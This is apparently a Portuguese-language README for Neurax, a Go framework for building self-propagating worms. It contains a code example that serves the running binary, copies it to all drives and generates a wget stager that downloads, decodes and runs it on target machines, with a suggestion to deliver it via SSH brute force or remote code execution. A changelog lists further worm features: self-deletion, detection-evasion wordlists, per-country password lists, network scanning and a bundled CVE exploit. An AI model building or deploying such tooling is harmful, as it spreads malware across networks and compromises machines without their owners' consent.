Um framework que auxilia na criação de software de autopropagação
Visão Geral
Com a ajuda do Neurax, binários Go podem se propagar em LAN/WAN sem usar quaisquer servidores externos.
Diversas opções de configuração e stagers de comando permitem propagação rápida em diversos ambientes sem fio.
Exemplo de código
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Especifica a porta de serviço e o stager a ser usado
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Inicia um servidor que expõe o binário atual em segundo plano
go NeuraxServer()
//Copia o binário atual para todas as unidades lógicas
NeuraxDisks()
//Cria um stager de comando que deve ser lançado na máquina alvo
//Ele baixará, decodificará e executará o binário
cmd_stager := NeuraxStager()
/* Agora você precisa de alguma forma executar o comando gerado acima.
Você pode usar SSH bruteforce, algum RCE ou o que mais quiser ;> */
}
Novo na v. 2.X (subprojeto separado)
- Refatoração: abandonou a abordagem baseada em framework em favor de um binário pronto para uso
- Stager wget genérico para todos os alvos UNIX
- Arquivo de configuração único para ajustar o comportamento do worm em tempo real
- Auto-remoção automática via
unlinkat(2)
- Exemplo de exploit LinuxKI CVE para complementar capacidades de propagação em rede
- Arquivo de configuração JSON é baixado e avaliado
- Reescrita minimalista do coletor de hosts
Novo na v. 2.5
- Execução opcional em segundo plano do binário de segundo estágio (
N.StagerBg)
- O stager de comando salva e executa no caminho local do contexto
- Ele também remove o binário baixado imediatamente após a execução bem-sucedida
- Mecanismo de execução de comando sincronizado removido por razões de velocidade/estabilidade.
Elaborarei uma alternativa decente antes do próximo lançamento.
N.NoInfectCheck para desabilitar verificação se o host já está infectado.
- Política de execução única na máquina alvo, imposta com um mutex de arquivo exclusivo colocado dentro de
NeuraxServer().
- Adicionada uma goroutine aninhada para servir o binário
- Novo stager
httrack para Linux
- Wordlist comum comentada para evasão de detecção
- O stager de comando pode esperar antes de remover o binário (
N.StagerRemovalDelay)
Novo na v. 2.0
- Novos mutadores de wordlist + senhas comuns por país
- Escaneamento passivo improvisado
- Opção
.FastScan que torna os escaneamentos ativos um pouco mais rápidos
- Wordlists são criadas estritamente em memória
NeuraxScan() aceita uma função de callback em vez de um canal como argumento.
NeuraxScan() escaneia em loop infinito com possibilidade de definir intervalo entre cada escaneamento de toda a sub-rede/pool de alvos
- Pesquisa reversa de DNS para alvos que não estão no formato IP
- Extração de candidatos a alvo da cache ARP
- Possibilidade de escanear apenas uma lista selecionada de alvos + priorizar alvos específicos (como gateways padrão)
- Possibilidade de especificar interface e timeout ao usar escaneamento de rede passivo.
- Stager de comando melhorado (pode ser opcionalmente executado com privilégios elevados / várias vezes)
- Algumas mudanças nos nomes das opções
NeuraxConfig. tornou-se N. (porque é mais curto de digitar)
- Funções para alocação aleatória de memória + migração de binário
- Possibilidade de encadear múltiplos stagers (ex.:
wget + curl)
- Volume e complexidade da wordlist criada podem ser facilmente ajustados (com opções como
.WordlistExpand)
- Possibilidade de definir o tempo de vida do binário criado
Lista de entradas de configuração